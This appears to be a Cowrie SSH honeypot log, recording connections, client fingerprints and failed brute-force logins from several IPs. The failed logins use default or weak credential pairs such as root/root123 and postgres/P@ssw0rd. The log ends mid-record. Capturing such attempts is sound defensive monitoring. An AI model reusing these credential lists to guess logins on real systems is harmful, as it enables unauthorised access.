{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:25.325736Z","src_ip":"45.153.34.195","session":"7d9c0f708b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssw0rd","message":"login attempt [postgres/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:25.640331Z","src_ip":"45.153.34.195","session":"7d9c0f708b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:26.728260Z","src_ip":"45.153.34.195","session":"7d9c0f708b84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35400,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c934da5600b","protocol":"ssh","message":"New connection: 45.153.34.195:35400 (10.17.0.5:22) [session: 5c934da5600b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:28.204553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:28.232855Z","src_ip":"45.153.34.195","session":"5c934da5600b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:28.313363Z","src_ip":"45.153.34.195","session":"5c934da5600b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48094,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bef76f71be3","protocol":"ssh","message":"New connection: 91.92.40.36:48094 (10.17.0.5:22) [session: 4bef76f71be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:28.397556Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali123","message":"login attempt [root/ali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:28.650752Z","src_ip":"45.153.34.195","session":"5c934da5600b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:29.209348Z","src_ip":"91.92.40.36","session":"55fa03fe94b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":50014,"dst_ip":"159.203.135.109","dst_port":22,"session":"43a6f5aee1c3","protocol":"ssh","message":"New connection: 160.187.180.146:50014 (159.203.135.109:22) [session: 43a6f5aee1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:29.246652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:29.251436Z","src_ip":"160.187.180.146","session":"43a6f5aee1c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:29.456088Z","src_ip":"160.187.180.146","session":"43a6f5aee1c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:29.734462Z","src_ip":"45.153.34.195","session":"5c934da5600b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123!@#","message":"login attempt [root/test123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:30.306097Z","src_ip":"160.187.180.146","session":"43a6f5aee1c3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:30.348981Z","src_ip":"91.92.40.36","session":"4bef76f71be3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:30.352530Z","src_ip":"91.92.40.36","session":"4bef76f71be3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35420,"dst_ip":"10.17.0.5","dst_port":22,"session":"839e4f16e541","protocol":"ssh","message":"New connection: 45.153.34.195:35420 (10.17.0.5:22) [session: 839e4f16e541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:31.204977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:31.214630Z","src_ip":"45.153.34.195","session":"839e4f16e541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:31.289083Z","src_ip":"45.153.34.195","session":"839e4f16e541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:31.514052Z","src_ip":"160.187.180.146","session":"43a6f5aee1c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Contabo2026","message":"login attempt [root/Contabo2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:31.611274Z","src_ip":"45.153.34.195","session":"839e4f16e541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:31.820245Z","src_ip":"91.92.40.36","session":"55fa03fe94b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:32.735967Z","src_ip":"45.153.34.195","session":"839e4f16e541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47272,"dst_ip":"10.17.0.5","dst_port":22,"session":"477ee53c6f67","protocol":"ssh","message":"New connection: 45.153.34.195:47272 (10.17.0.5:22) [session: 477ee53c6f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:33.915127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:33.938155Z","src_ip":"45.153.34.195","session":"477ee53c6f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:34.210429Z","src_ip":"45.153.34.195","session":"477ee53c6f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"no","password":"no","message":"login attempt [no/no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:34.650620Z","src_ip":"45.153.34.195","session":"477ee53c6f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:35.769644Z","src_ip":"45.153.34.195","session":"477ee53c6f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48172,"dst_ip":"10.17.0.5","dst_port":22,"session":"39917205bf8a","protocol":"ssh","message":"New connection: 91.92.40.36:48172 (10.17.0.5:22) [session: 39917205bf8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:36.284183Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:36.410972Z","src_ip":"91.92.40.36","session":"4bef76f71be3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47278,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39404658a7e","protocol":"ssh","message":"New connection: 45.153.34.195:47278 (10.17.0.5:22) [session: e39404658a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:36.941002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:36.969383Z","src_ip":"45.153.34.195","session":"e39404658a7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:37.203919Z","src_ip":"45.153.34.195","session":"e39404658a7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:37.568255Z","src_ip":"45.153.34.195","session":"e39404658a7e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:37.827023Z","src_ip":"91.92.40.36","session":"39917205bf8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:37.831791Z","src_ip":"91.92.40.36","session":"39917205bf8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:38.831815Z","src_ip":"45.153.34.195","session":"e39404658a7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:39.554550Z","src_ip":"91.92.40.36","session":"4bef76f71be3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47288,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c63741b4cae","protocol":"ssh","message":"New connection: 45.153.34.195:47288 (10.17.0.5:22) [session: 5c63741b4cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:39.956694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:39.978584Z","src_ip":"45.153.34.195","session":"5c63741b4cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-